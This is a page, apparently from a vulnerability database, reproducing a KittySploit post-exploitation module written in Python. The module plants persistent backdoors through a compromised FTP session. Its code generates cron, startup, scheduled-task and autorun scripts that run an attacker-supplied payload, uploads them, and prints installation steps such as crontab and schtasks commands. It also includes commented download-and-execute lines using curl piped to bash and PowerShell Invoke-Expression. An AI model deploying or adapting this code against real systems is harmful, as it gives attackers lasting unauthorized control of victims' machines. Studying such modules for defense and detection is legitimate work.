Lucene search
+L

FTP Create Persistence

🗓️ 24 Jan 2026 22:19:45Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

FTP Create Persistence module uploads scripts to create persistent backdoor access.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.ftp.ftp_client import FTPClientMixin
import os
import tempfile
import time

class Module(Post, FTPClientMixin):
    """FTP Persistence Creation Module"""
    
    __info__ = {
        "name": "FTP Create Persistence",
        "description": "Creates persistent backdoor access by uploading scheduled task scripts, cron jobs, or startup scripts",
        "author": "KittySploit Team",
        "session_type": SessionType.FTP,
    'agent': {
        'risk': 'destructive',
        'effects': ['target_modification'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    persistence_type = OptChoice("cron", "Persistence type: cron, startup, scheduled_task, or autorun", True, 
                                  choices=["cron", "startup", "scheduled_task", "autorun"])
    remote_path = OptString(".", "Remote directory to upload persistence script", False)
    script_filename = OptString("", "Persistence script filename (auto-generated if empty)", False)
    payload_url = OptString("", "URL or command to execute for persistence", True)
    interval = OptString("*/5 * * * *", "Cron interval (for cron type) or schedule (for scheduled_task)", False)
    web_path = OptString("", "Web-accessible path for script execution (optional)", False)
    
    def check(self):
        """Check if the module can run"""
        session_id_value = str(self.session_id)
        if not session_id_value:
            print_error("Session ID not set")
            return False
        
        if not self.framework or not hasattr(self.framework, 'session_manager'):
            print_error("Framework or session manager not available")
            return False
        
        session = self.framework.session_manager.get_session(session_id_value)
        if not session:
            print_error(f"Session {session_id_value} not found")
            return False
        
        # Try to get FTP connection to verify it works
        try:
            self.open_ftp()
            return True
        except Exception as e:
            print_error(f"FTP connection error: {e}")
            return False
    
    def _generate_cron_script(self) -> str:
        """Generate cron job script"""
        script = f"""#!/bin/bash
# Persistence script - Auto-generated
# Cron interval: {self.interval}

# Execute payload
{self.payload_url}

# Optional: Download and execute remote script
# curl -s {self.payload_url} | bash
"""
        return script
    
    def _generate_startup_script(self) -> str:
        """Generate startup script (Linux)"""
        script = f"""#!/bin/bash
# Persistence script - Auto-generated
# Executes on system startup

# Wait for network
sleep 10

# Execute payload
{self.payload_url}
"""
        return script
    
    def _generate_scheduled_task_script(self) -> str:
        """Generate Windows scheduled task script"""
        script = f"""@echo off
REM Persistence script - Auto-generated
REM Schedule: {self.interval}

REM Execute payload
{self.payload_url}

REM Alternative: PowerShell execution
REM powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '{self.payload_url}' | Invoke-Expression"
"""
        return script
    
    def _generate_autorun_script(self) -> str:
        """Generate autorun.inf for Windows"""
        script = f"""[autorun]
open={self.payload_url}
action=Run Persistence Script
"""
        return script
    
    def _generate_persistence_script(self) -> tuple:
        """Generate persistence script based on type"""
        persistence_type = self.persistence_type.lower()
        
        if persistence_type == 'cron':
            content = self._generate_cron_script()
            extension = '.sh'
            filename = self.script_filename or f'persist_{int(time.time())}.sh'
        elif persistence_type == 'startup':
            content = self._generate_startup_script()
            extension = '.sh'
            filename = self.script_filename or f'startup_{int(time.time())}.sh'
        elif persistence_type == 'scheduled_task':
            content = self._generate_scheduled_task_script()
            extension = '.bat'
            filename = self.script_filename or f'task_{int(time.time())}.bat'
        elif persistence_type == 'autorun':
            content = self._generate_autorun_script()
            extension = '.inf'
            filename = self.script_filename or 'autorun.inf'
        else:
            raise ProcedureError(FailureType.ConfigurationError, 
                                f"Unsupported persistence type: {persistence_type}")
        
        return content, filename
    
    def _generate_install_instructions(self, remote_path: str, filename: str) -> str:
        """Generate installation instructions"""
        persistence_type = self.persistence_type.lower()
        instructions = []
        
        instructions.append("=" * 70)
        instructions.append("Persistence Installation Instructions")
        instructions.append("=" * 70)
        instructions.append("")
        
        if persistence_type == 'cron':
            instructions.append("Linux Cron Job Installation:")
            instructions.append(f"1. Make script executable: chmod +x {remote_path}/{filename}")
            instructions.append(f"2. Add to crontab: crontab -e")
            instructions.append(f"3. Add line: {self.interval} {remote_path}/{filename}")
            instructions.append("")
            instructions.append(f"Or run: echo '{self.interval} {remote_path}/{filename}' | crontab -")
        
        elif persistence_type == 'startup':
            instructions.append("Linux Startup Script Installation:")
            instructions.append(f"1. Make script executable: chmod +x {remote_path}/{filename}")
            instructions.append("2. Copy to startup directory:")
            instructions.append(f"   - System-wide: cp {remote_path}/{filename} /etc/init.d/")
            instructions.append(f"   - User-specific: cp {remote_path}/{filename} ~/.config/autostart/")
            instructions.append("")
            instructions.append("3. Enable service (systemd):")
            instructions.append(f"   systemctl enable {filename}")
        
        elif persistence_type == 'scheduled_task':
            instructions.append("Windows Scheduled Task Installation:")
            instructions.append(f"1. Open Task Scheduler (taskschd.msc)")
            instructions.append(f"2. Create Basic Task")
            instructions.append(f"3. Set trigger: {self.interval}")
            instructions.append(f"4. Set action: Start program")
            instructions.append(f"5. Program: {remote_path}\\{filename}")
            instructions.append("")
            instructions.append(f"Or use schtasks command:")
            instructions.append(f'schtasks /create /tn "Persistence" /tr "{remote_path}\\{filename}" /sc minute /mo 5')
        
        elif persistence_type == 'autorun':
            instructions.append("Windows Autorun Installation:")
            instructions.append(f"1. Place autorun.inf in root of removable drive or system drive")
            instructions.append(f"2. Ensure {self.payload_url} is accessible")
            instructions.append("3. Autorun will execute on drive mount (if enabled)")
        
        instructions.append("")
        instructions.append("=" * 70)
        
        return "\n".join(instructions)
    
    def run(self):
        """Run the persistence creation"""
        try:
            print_info("=" * 70)
            print_info("FTP Persistence Creation")
            print_info("=" * 70)
            
            # Get connection info
            conn_info = self.get_ftp_connection_info()
            print_info(f"FTP Server: {conn_info.get('host', 'unknown')}:{conn_info.get('port', 21)}")
            print_info(f"Username: {conn_info.get('username', 'unknown')}")
            print_info(f"Persistence Type: {self.persistence_type}")
            print_info(f"Payload: {self.payload_url}")
            print_info("")
            
            # Generate persistence script
            print_status("Generating persistence script...")
            script_content, filename = self._generate_persistence_script()
            
            print_info(f"Script filename: {filename}")
            print_info(f"Script size: {len(script_content)} bytes")
            print_info("")
            
            # Create temporary file
            temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix=os.path.splitext(filename)[1])
            temp_file.write(script_content)
            temp_file.close()
            
            try:
                # Build remote path
                if self.remote_path and self.remote_path != ".":
                    remote_file = f"{self.remote_path}/{filename}".replace("//", "/")
                else:
                    remote_file = filename
                
                # Change to target directory if specified
                if self.remote_path and self.remote_path != ".":
                    try:
                        self.change_directory(self.remote_path)
                        print_info(f"Changed to directory: {self.remote_path}")
                    except Exception as e:
                        print_warning(f"Could not change to {self.remote_path}: {e}")
                
                # Upload script
                print_status(f"Uploading persistence script: {filename}")
                connection = self.open_ftp()
                try:
                    connection.voidcmd('TYPE I')  # Binary mode
                except:
                    pass
                
                self.upload_file(temp_file.name, remote_file)
                print_success(f"Persistence script uploaded: {remote_file}")
                print_info("")
                
                # Display installation instructions
                instructions = self._generate_install_instructions(self.remote_path or ".", filename)
                print_info(instructions)
                
                # Display script content preview
                print_info("")
                print_info("-" * 70)
                print_status("Script Content Preview:")
                print_info("-" * 70)
                for i, line in enumerate(script_content.split('\n')[:20], 1):
                    print_info(f"{i:3d} | {line}")
                if len(script_content.split('\n')) > 20:
                    print_info(f"... ({len(script_content.split('\n')) - 20} more lines)")
                print_info("")
                
                return True
                
            finally:
                # Clean up temporary file
                try:
                    os.unlink(temp_file.name)
                except:
                    pass
            
        except ProcedureError:
            raise
        except Exception as e:
            raise ProcedureError(FailureType.Unknown, f"Error creating persistence: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
4